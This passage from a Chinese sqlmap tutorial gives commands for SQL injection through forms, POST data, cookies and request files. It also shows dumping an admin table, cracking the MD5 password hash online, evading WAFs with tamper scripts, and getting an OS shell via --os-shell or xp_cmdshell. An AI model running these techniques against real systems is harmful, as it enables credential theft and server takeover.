<li>查记录前面步骤获取到表结构后，在sql-shell提示符后面输入SQL语句查询记录：</li>
</ol>
</li>
</ul></section>
</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>select</span><span> username, </span><span>password</span><span> </span><span>from</span><span> t_admin;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>获得管理员账号记录：账号：adminmd5（密码）：xxxx</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>    </span></span><span>7. 反差密码访问cmd5.com，输入md5（密码）查询，得知密码为：xxx</span></div></div><div><div><div>2</div></div><div><span>- 表单注入 --forms表框注入，不需要任何操作，自动测试注入sqlmap.py -u （url） --forms --batch --current-db</span></div></div><div><div><div>3</div></div><div><span>- post注入--data “var1=parm1&amp;var2=parm2"</span></div></div><div><div><div>4</div></div><div><span>- 通过请求注入 -r "r.txt"r.txt中保存的是http请求包sqlmap.py -r 1.txt --current-db</span></div></div><div><div><div>5</div></div><div><span>- cookie注入</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sqlmap</span><span>.</span><span>py</span><span> -u </span><span>"xxx.xxx.xxx"</span><span> </span><span>--level 2 --cookie "xx=xx"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>- 伪静态注入url后面加*（星号）-u "[http://host/app/index/id/1](http://host/app/index/id/1)*"</span></div></div><div><div><div>2</div></div><div><span>- 请求延时--url="[http://127.0.0.1/Index/view/id/40.html](http://127.0.0.1/Index/view/id/40.html)" --delay=2 --url="[http://127.0.0.1/Index/view/id/40.html](http://127.0.0.1/Index/view/id/40.html)" --safe-freq=2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>
<section><h3>如何绕waf<a href="#如何绕waf"><span>#</span></a></h3><ul>
<li>通过—tamper选项绕过：—tamper space2comment.py常见绕waf的tamper：space2comment、space2dash、between、–random-agent设置延时请求间隔秒：—delay=2 定期访问安全页面：—safe-url, —safe-freq</li>
</ul></section>
</li>
<li>
<p>sqlmap拿shell—os-shell前提：必须知道网站根目录的绝对路径</p>
</li>
<li>
<p>mysql原理：写文件mssql原理：xp_cmdshell</p>
</li>
</ul></section></section>]]></content>
    </entry>
</feed>
